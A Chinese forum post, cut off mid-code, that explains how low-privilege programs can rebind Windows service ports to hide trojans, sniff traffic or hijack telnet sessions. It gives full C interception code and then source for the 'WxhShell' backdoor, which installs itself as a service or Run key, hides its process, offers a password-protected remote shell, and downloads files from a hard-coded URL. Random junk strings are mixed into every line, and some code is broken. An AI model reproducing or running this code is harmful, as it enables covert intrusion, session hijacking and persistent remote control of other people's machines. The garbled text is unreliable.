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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &2Ef:RZF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O^PN{u  
_e/Bg~  
  saddr.sin_family = AF_INET; { 1_ <\ ~J  
 Xr:s-L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n.i 8?:  
.SLpgYFL{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mo+!79&  
uq/Fapl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qyAnq%B}  
l-P6B9e|\  
  这意味着什么?意味着可以进行如下的攻击: cF_`QRtO  
Dlpmm2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G3 |x%/Fbp  
P,xIDj4d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^?wR{q"8  
M.xZU\'ty  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D2GF4%|  
F v*QcB9K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _%er,Ed  
(S4HU_,88  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L[Ot$  
6Xz d> 5x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oHr0;4Lg6  
/M'd$k"0z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U{j4FlB  
D.-G!0!  
  #include >28l9U  
  #include 9 *uK]/c  
  #include w3 kkam"  
  #include    A*vuSQt(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B`t/21J  
  int main() 9^9-\DG  
  { yZ[=Y  
  WORD wVersionRequested; rHM^_sYRb  
  DWORD ret; zVa&4 T-  
  WSADATA wsaData; ,q>cFsY=i?  
  BOOL val; `GkCOx,  
  SOCKADDR_IN saddr; a#{"3Z2|  
  SOCKADDR_IN scaddr; :b*7TJ\grN  
  int err; G"m?2$^-A  
  SOCKET s; `qYiic%  
  SOCKET sc; $2,tT;50g  
  int caddsize; LR{bNV[i  
  HANDLE mt; 0}"\3EdAbD  
  DWORD tid;   E .28G2&  
  wVersionRequested = MAKEWORD( 2, 2 ); 1C<d^D_!p  
  err = WSAStartup( wVersionRequested, &wsaData ); V0rQtxE{F  
  if ( err != 0 ) { 1Y&W>p  
  printf("error!WSAStartup failed!\n"); -EE'xh-zD  
  return -1; `U b*rOMu  
  } L ph0C^8  
  saddr.sin_family = AF_INET; <R+?>kz6  
   l S3LX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L"/ ?[B":  
)bR0 >3/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BWvM~no  
  saddr.sin_port = htons(23); iC5HrOl6U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nGe4IY\-w  
  { (# mvDz  
  printf("error!socket failed!\n"); ;HH%OfQq  
  return -1; `^,E4Qy  
  } oH+PlL  
  val = TRUE; !tt 8-Y)i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ws7fWK;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <F(S_w62  
  { [qW%H,_  
  printf("error!setsockopt failed!\n"); Ow*va\0  
  return -1; 5'eBeNxM  
  } UWEegFq*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _/z_ X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tW4X+d"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ju'a Uzn  
]hS<"=oj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >zDQt7+g;  
  { CuH4~6  
  ret=GetLastError(); ?d3FR!  
  printf("error!bind failed!\n"); 1/m$#sz  
  return -1; )DhE~  
  } iN. GC^l  
  listen(s,2); W^h,O+vk  
  while(1) tM;cvc`/  
  { A_\Jb}J1<  
  caddsize = sizeof(scaddr); 8b.k*,r>  
  //接受连接请求 W4&8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k}F7Jw#.  
  if(sc!=INVALID_SOCKET) ;Z"MO@9:  
  { f|M^UHt8*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K}cA%Y  
  if(mt==NULL) g-wE(L  
  { !.X/(R7J  
  printf("Thread Creat Failed!\n"); ]W$G!(3A  
  break; D4@?>ek6U  
  } rh1PpsSc  
  } Qw5(5W[L  
  CloseHandle(mt); O|+ZEBP  
  } :e=7=|@7  
  closesocket(s); =oIt.`rf  
  WSACleanup(); ?g{[U0)  
  return 0; T)sIV5bk  
  }   yNXYS  
  DWORD WINAPI ClientThread(LPVOID lpParam) O5vfcX4>  
  { krFp q;  
  SOCKET ss = (SOCKET)lpParam; |f @A-d X  
  SOCKET sc; u9|Eos i  
  unsigned char buf[4096]; ']eN4H&=?}  
  SOCKADDR_IN saddr; 2F`#df  
  long num; yQUrHxm  
  DWORD val; d@g29rs  
  DWORD ret; +B " aUF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L=qhb;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3))CD,|  
  saddr.sin_family = AF_INET; $(;Ts)P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ycm.qud ?  
  saddr.sin_port = htons(23); ~EY)c~ H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3'kKbrk [  
  { 7Z`4Kdh .  
  printf("error!socket failed!\n"); T@.+bD  
  return -1; &Pm@+ML*x  
  } P$Vh{]4i{  
  val = 100; fsPNxy"_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EBW*v '  
  { L!l?tM o  
  ret = GetLastError(); o.NU"$\?  
  return -1; J.:  
  } lqv}~MC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q2Ey RFT  
  { ? OF $J|h  
  ret = GetLastError(); QxLrpM"O  
  return -1; Yb 5@W/'  
  } )cRHt:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :FC)+OmJ  
  { hNZ_= <D!  
  printf("error!socket connect failed!\n"); 53:u6bb;  
  closesocket(sc); N*|EfI|X  
  closesocket(ss); Z0zEX?2mb  
  return -1; TM{m:I:Z*n  
  } JS8pN5   
  while(1) 5]]QW3  
  { 4y+hr   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SaF0JPm4z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ps4-<ugC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Zy3F%]V0  
  num = recv(ss,buf,4096,0); `Zo5!"'  
  if(num>0) jrN 5l1np  
  send(sc,buf,num,0); #e-7LmO~  
  else if(num==0) paD[4L?4Hk  
  break; OfBWf6b  
  num = recv(sc,buf,4096,0); aC1 xt(  
  if(num>0) 89D`!`Ah]  
  send(ss,buf,num,0); 3{co.+  
  else if(num==0) rwUhNth-Qh  
  break; ^0>^5l'n  
  } T+P{,,a/]  
  closesocket(ss); cwaR#-#  
  closesocket(sc); 2i!R>`  
  return 0 ; ~m=Z>4M  
  } I:=!,4S;  
]wV\=m?z&  
2N &B  
========================================================== }])j>E  
[7`S`\_NK  
下边附上一个代码,,WXhSHELL UV;I6]$}A7  
l2Py2ZI-b  
========================================================== b_{+OqI  
` k I}p  
#include "stdafx.h" KS~Q[-F1P  
&f'Lll  
#include <stdio.h> hOLlZP+  
#include <string.h> Om:Gun\%  
#include <windows.h> 1iR\M4?Frf  
#include <winsock2.h> #Qz 9{1\G  
#include <winsvc.h> K ~\b+  
#include <urlmon.h> qfFa" a  
LL3| U  
#pragma comment (lib, "Ws2_32.lib") fy>3#`T-  
#pragma comment (lib, "urlmon.lib") !$iwU3~<  
Z%.L d2Q{  
#define MAX_USER   100 // 最大客户端连接数 x?{l<mc  
#define BUF_SOCK   200 // sock buffer lxXF8c>U  
#define KEY_BUFF   255 // 输入 buffer 5C`Vno~v  
',FVT4OMw  
#define REBOOT     0   // 重启 SP2";,%/9  
#define SHUTDOWN   1   // 关机 ;+f(1=x  
j/uMSE  
#define DEF_PORT   5000 // 监听端口 epk C '  
: LX!T&  
#define REG_LEN     16   // 注册表键长度 o%]b\Vl6  
#define SVC_LEN     80   // NT服务名长度 j y p.2c  
DP*V|)  
// 从dll定义API Sb?v5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K~UT@,CS60  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?j!/ Hc/b4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !JDyv\i}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I %1P:-  
CD?b.Cxai  
// wxhshell配置信息 6S%KUFB+e  
struct WSCFG {  :5^5l  
  int ws_port;         // 监听端口 H9VdoxKo  
  char ws_passstr[REG_LEN]; // 口令 ?5d[BV   
  int ws_autoins;       // 安装标记, 1=yes 0=no A#~CZQY^$  
  char ws_regname[REG_LEN]; // 注册表键名 PL\4\dXB  
  char ws_svcname[REG_LEN]; // 服务名 !C' Y 7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gqar5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "$%&C%t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 ;\>,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y>UQm|o<W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /WAOpf5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `a7b,d  
K^AIqL8  
}; 8.`5"9Vh  
p_g8d&]V  
// default Wxhshell configuration P)=$0kR3  
struct WSCFG wscfg={DEF_PORT, =snJ+yn!  
    "xuhuanlingzhe", bb/A}< zD  
    1, m:;`mBOc3  
    "Wxhshell", k lr1"q7  
    "Wxhshell", ^?0WE   
            "WxhShell Service", y3'K+?4  
    "Wrsky Windows CmdShell Service", A:sP%c;  
    "Please Input Your Password: ", v'y<}U  
  1, zq^eL=%:  
  "http://www.wrsky.com/wxhshell.exe", OOus*ooo2  
  "Wxhshell.exe" !Cm9DzG  
    }; .#e?[xxk  
&eg@Z nPn  
// 消息定义模块 ]CnT4[f!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _B==S4^/yU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [QT H~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UUgc>   
char *msg_ws_ext="\n\rExit."; ;2eZa|M*q  
char *msg_ws_end="\n\rQuit."; `@ Ont+  
char *msg_ws_boot="\n\rReboot..."; ss7Z-A4z  
char *msg_ws_poff="\n\rShutdown..."; ~m7?:(/lb  
char *msg_ws_down="\n\rSave to "; &ujq6~#  
)!`>Q|]}Zd  
char *msg_ws_err="\n\rErr!"; /EM=!@ka  
char *msg_ws_ok="\n\rOK!"; 5=_))v<Tp  
'khhn6itA  
char ExeFile[MAX_PATH]; N*hx;k9  
int nUser = 0; cC`PmDGq  
HANDLE handles[MAX_USER]; nfr..4,:  
int OsIsNt; R? ,XSJ  
;&RHc#1F  
SERVICE_STATUS       serviceStatus; /(A rA=#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Zu+=I Z  
/@s(8{;  
// 函数声明 Q S.w#"X[  
int Install(void); Z2\Xe~{  
int Uninstall(void); 4L6'4t"s  
int DownloadFile(char *sURL, SOCKET wsh); 9fq CE619a  
int Boot(int flag); z"@UNypc,  
void HideProc(void); 8nRxx`U\q  
int GetOsVer(void); ?)c9!hR  
int Wxhshell(SOCKET wsl); /kd6Yq(y  
void TalkWithClient(void *cs); ud,_^Ul  
int CmdShell(SOCKET sock); 0R?LWm j  
int StartFromService(void); ,#=;V"~9  
int StartWxhshell(LPSTR lpCmdLine); 2`/p V0  
EtvYIfemr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^pa -2Ao6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K06&.>v_  
Q|HOy8O}Z  
// 数据结构和表定义 &f>1/"lnd\  
SERVICE_TABLE_ENTRY DispatchTable[] = _/[(&}M  
{ uQg&A`4  
{wscfg.ws_svcname, NTServiceMain}, cLnvb!g'#  
{NULL, NULL} h)C `w'L  
}; %MUwd@,  
(V+iJ_1g{  
// 自我安装 +D+Rf,D  
int Install(void) w=75?3c7F  
{ {BJn9B  
  char svExeFile[MAX_PATH]; J{5&L &4  
  HKEY key; GCA?sFwo>  
  strcpy(svExeFile,ExeFile); |/35c0IM  
y 4jelg  
// 如果是win9x系统,修改注册表设为自启动 S A16Ng  
if(!OsIsNt) { uzUZuJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GSu&Z/Jo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s3l:ST  
  RegCloseKey(key); 1{X ;&y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mo3HUXf}8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , 8F(R%v  
  RegCloseKey(key);  ZzuWN&  
  return 0; BIjQ8 t  
    } $T80vEi+u  
  } u~^d5["T  
} 9"~,ha7S$  
else { h wfKgsm  
Va m4/6  
// 如果是NT以上系统,安装为系统服务 1 9C=' TMS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VM[Vh k[  
if (schSCManager!=0) %CiZ>`5n#  
{ rYMHc@a9(  
  SC_HANDLE schService = CreateService +gOv5Eno-  
  ( :CAbGs:56  
  schSCManager, ep2#a#&'  
  wscfg.ws_svcname, t<2B3&o1  
  wscfg.ws_svcdisp, eE-@dU?  
  SERVICE_ALL_ACCESS, $]yHk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ENi@R\ p  
  SERVICE_AUTO_START, &ahZ_9Q  
  SERVICE_ERROR_NORMAL, ${F] N }  
  svExeFile, /!Ng"^.e  
  NULL, %7~~*_G  
  NULL, I=I'O?w  
  NULL, !* C9NX  
  NULL, <);Nc1  
  NULL $R[ggH&  
  ); AR-&c 3o  
  if (schService!=0) Xy(o0/7F9  
  { u`vOKajpH$  
  CloseServiceHandle(schService); 7 a}qnk %  
  CloseServiceHandle(schSCManager); DVq 5[ntG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dLMKfh/4Q  
  strcat(svExeFile,wscfg.ws_svcname); 2,X~a;+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eD481r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L(2KC>GvA  
  RegCloseKey(key); %kJ_o*"  
  return 0; JW4~Qwx  
    } MdOQEWJ$|  
  } 5L}qL?S`x|  
  CloseServiceHandle(schSCManager); zLxO\R!d  
} "NamP\hj  
} hkq[xgX  
ZsPT!l,  
return 1; =i/7&gC  
} uxd5XS  
5xawa:K  
// 自我卸载 (ft8,^=4  
int Uninstall(void) >wpC45n)9N  
{ f|f9[h'  
  HKEY key; ,NQucp  
QM }TPE  
if(!OsIsNt) { E$'Zd,|f=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sb&[V>!2^  
  RegDeleteValue(key,wscfg.ws_regname); #;32(II  
  RegCloseKey(key); o7*z@R"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]HK|xO(  
  RegDeleteValue(key,wscfg.ws_regname); zMkjdjb  
  RegCloseKey(key); l25E!E-'b  
  return 0; =;9*gDfD  
  } yqm^4)Dp  
} <I{)p;u1  
} aD1G\*AFJ  
else { .*N,x0 B(  
E  K)7g~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VE<&0d<  
if (schSCManager!=0) m\88Etl@  
{ o#-K,|-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /^kZ}}9baU  
  if (schService!=0) .'q0*Pe  
  { 32r2<QrX  
  if(DeleteService(schService)!=0) { >t,BNsWB  
  CloseServiceHandle(schService); EhkvC>y  
  CloseServiceHandle(schSCManager); h$Z_r($b  
  return 0; ; /3 <  
  } i 5"g?Wa2N  
  CloseServiceHandle(schService); CVh^~!"7j  
  } 6p X[m{  
  CloseServiceHandle(schSCManager); yu'2  
} El~x$X*  
} F8J;L](Dq  
8v},&rhPQq  
return 1; I&oHVFY+  
} 9nFPGIz+  
a3wTcp "r  
// 从指定url下载文件 ^gwVh~j  
int DownloadFile(char *sURL, SOCKET wsh) U}55;4^LX  
{ O3JN?25s  
  HRESULT hr; SEn-8ZF  
char seps[]= "/"; Rl7V~dUY  
char *token; +)#d+@-  
char *file; uM\(#jZ  
char myURL[MAX_PATH];  m/)Wn  
char myFILE[MAX_PATH]; }vRs n-E@  
>bia FK>t  
strcpy(myURL,sURL); xHv<pza:  
  token=strtok(myURL,seps); .D^=vuxt~  
  while(token!=NULL) 7(m4,l+(  
  { Vj7(6'Hg  
    file=token; f-N:  
  token=strtok(NULL,seps); 2t3'"8xJ  
  } em  
&wbe^Wp  
GetCurrentDirectory(MAX_PATH,myFILE); T#.5F7$u  
strcat(myFILE, "\\"); l  I&%^>  
strcat(myFILE, file); ;F@N2j#  
  send(wsh,myFILE,strlen(myFILE),0); Ixhe86-:T  
send(wsh,"...",3,0); xF'9`y^]!@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FqOV/B /z2  
  if(hr==S_OK) Y|t]bb  
return 0; bJJB*$jW=  
else m L#-U)?F  
return 1; !@9Vq6  
d&: ABI  
} }[P1Va[!  
Ux~rBv''  
// 系统电源模块 VjbRjn5LI  
int Boot(int flag) X'4g\)*  
{ / c1=`OJ  
  HANDLE hToken; Fi+v:L|  
  TOKEN_PRIVILEGES tkp; bq/*99``  
#>+O=YO  
  if(OsIsNt) { - Dm/7Sxd`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7q>WO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HhN;&67~Z  
    tkp.PrivilegeCount = 1; MS,J+'2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @B;2z_Y!l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bb^CukS:  
if(flag==REBOOT) { C0o 0 l>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <0OZ9?,dm  
  return 0; F6*n,[5(  
} yUF<qB  
else { -s`/5kD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -/:N&6eRb  
  return 0; S}Wj+H;  
} qJ=4HlLno  
  } 3 8>?Z ]V  
  else { X/  
if(flag==REBOOT) { YGP.LR7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TAbd[:2{F  
  return 0; %./vh=5)  
} {VBx;A3*I  
else { !424K-nW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^nu~q+:+#  
  return 0; \|\ Dc0p}  
} X}.y-X#v5J  
} ~y.{WuUD  
(9r\YNK  
return 1; "oZ-W?IKE  
} 6-U+<[,x  
\F;V69'  
// win9x进程隐藏模块 $Hcp.J[O  
void HideProc(void) E 5D5  
{ ( H/JB\~r  
pi)7R:i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w%jc' ;|  
  if ( hKernel != NULL ) .i[rd4MCK  
  { Ek|#P{!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >p4#AfGF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M>+FIb(  
    FreeLibrary(hKernel); &kKopJH  
  } 6 /^$SWd2  
iaAVGgA9+  
return; gUf-1#g4\`  
} ^vXMX^*  
q_eGY&M  
// 获取操作系统版本 S(kj"t*3  
int GetOsVer(void) Y! e  
{ 0|<ER3xkx  
  OSVERSIONINFO winfo; vzl+0"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tu}AJ  
  GetVersionEx(&winfo); uMl.}t2uYu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *I)o Dq3  
  return 1; =e'b*KTL,  
  else GxWA=Xp^~G  
  return 0; W]kh?+SZ  
} FB {4& ;  
vL"U=Q+/eY  
// 客户端句柄模块 }oH A@o5  
int Wxhshell(SOCKET wsl) '@)47]~  
{ <11pk  
  SOCKET wsh; UxI0Of&:  
  struct sockaddr_in client; [MfKBlA  
  DWORD myID; DC4,*a~  
?4%'6R  
  while(nUser<MAX_USER) t_HS0rxG  
{ ea-NqdGs;m  
  int nSize=sizeof(client); .v<c_~y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); asT:/z0  
  if(wsh==INVALID_SOCKET) return 1; _" 0VM >  
7'pCFeA>=T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &{${Fq  
if(handles[nUser]==0) LB}y,-vX>  
  closesocket(wsh); '<" eG!O  
else #g,JNJ}  
  nUser++; `6:;*#jO,  
  } 40cgsRa|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t]?u<KD<  
+JoE[;  
  return 0; ZS51QB  
} "L^Klk?Vn  
Ipo?>To  
// 关闭 socket V?U->0>Z4  
void CloseIt(SOCKET wsh) "Sp+Q&2U  
{ | k"?I  
closesocket(wsh); d&K2\n  
nUser--; )SG+9!AbMZ  
ExitThread(0); @T53%v<5  
} b~?FV>gl  
u/?s_OR  
// 客户端请求句柄 KLv`Xg\  
void TalkWithClient(void *cs) G0p|44_~t  
{ &9b sTm  
k2Yh?OH  
  SOCKET wsh=(SOCKET)cs; k$`~,LJp  
  char pwd[SVC_LEN]; '51DdT U  
  char cmd[KEY_BUFF]; hhjT{>je  
char chr[1]; Dohq@+] O  
int i,j; 8 1;QF_C  
'@1oM1  
  while (nUser < MAX_USER) { H\]ZtSw8-  
*B"p:F7J|  
if(wscfg.ws_passstr) { 4qq+7B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $]:yc n9l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2 O\p`,.  
  //ZeroMemory(pwd,KEY_BUFF);  # Vz9j  
      i=0; rj zRZ  
  while(i<SVC_LEN) { GKf,1kns  
C.I.f9s?R  
  // 设置超时 1U[8OM{$  
  fd_set FdRead; uM"G)$I\  
  struct timeval TimeOut; ,f0|eu>  
  FD_ZERO(&FdRead); ^CZ!rOSv  
  FD_SET(wsh,&FdRead); S;#S3?G  
  TimeOut.tv_sec=8; ab ?   
  TimeOut.tv_usec=0; Oga/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {fXD@lhi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4DY\QvW5  
((i%h^tGa;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +4G]!tV6  
  pwd=chr[0]; 8[  
  if(chr[0]==0xd || chr[0]==0xa) { 7UQFAt_r  
  pwd=0; {E *dDv  
  break; ,Bh!|H(?L1  
  } "~~Js~  
  i++; JWhi*je  
    } TR:V7 d  
df_hmkyj  
  // 如果是非法用户,关闭 socket X yi[z tN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  JvFd2@  
} LQ T^1|nq  
* SH5p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ua^#.K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hl`4_`3y  
h}PeXnRU  
while(1) { ] ?!#*<t r  
R;+vE'&CO  
  ZeroMemory(cmd,KEY_BUFF); ??& Q"6Oe  
&2-dZK  
      // 自动支持客户端 telnet标准   &DoYz[q  
  j=0; !{'C.sb?~  
  while(j<KEY_BUFF) { c#'t][Ii  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fj? Q4_  
  cmd[j]=chr[0]; eZes) &4  
  if(chr[0]==0xa || chr[0]==0xd) { m$^Wyk}  
  cmd[j]=0; ?wzE+p-  
  break; ~,[<R  
  } ``*iK  
  j++; ? <b>2j  
    } l-` M 9#  
'Rbv3U  
  // 下载文件 +&?#Gdb  
  if(strstr(cmd,"http://")) { C3EQz r`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ktlI(#\%  
  if(DownloadFile(cmd,wsh)) N y_d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &h1.9AO  
  else -4du`dg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K q;X(&Z  
  } om6'%nXhn  
  else { l /?Jp+]  
, y%!s27  
    switch(cmd[0]) { e}%~S9\UL5  
  RsnK B /  
  // 帮助 | Q0Wv8/  
  case '?': { 1F`1(MYt9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VX+:k.}  
    break; FbH 1yz  
  } V~nqPh!Jc  
  // 安装 #-T xhwYs  
  case 'i': { sw<GlF"  
    if(Install()) x-0O3IIE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); alr'If@7  
    else  ! @EZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Er@'X0n  
    break; [2h 4%{R&  
    } }Xa1K;KM{  
  // 卸载 pBo=omQV  
  case 'r': { MaMP7O|W  
    if(Uninstall()) >;wh0dBe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jP(|pz  
    else _JEe]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~w Ekbq=  
    break; r.WQ6h/eZ5  
    } 3MqyHOOv  
  // 显示 wxhshell 所在路径 "rHcsuSEw  
  case 'p': { LN=6u  
    char svExeFile[MAX_PATH]; <c; U 0! m  
    strcpy(svExeFile,"\n\r"); ,)u1r3@I^  
      strcat(svExeFile,ExeFile); NW=gi qB  
        send(wsh,svExeFile,strlen(svExeFile),0); eMHBY6<~=  
    break; qcVmt1"  
    } h*X5O h6  
  // 重启 7{W#i<W  
  case 'b': { 7+'&(^c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zCz"[9k  
    if(Boot(REBOOT)) HpCTQ\H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W!Qaa(o?  
    else { :OEovk(`  
    closesocket(wsh); Vi 9Kah+  
    ExitThread(0); xLN$!9t  
    } ^*g= 65!1  
    break; @ zs.M-F  
    } IjaFNZZC!  
  // 关机 |BA&ixHe~C  
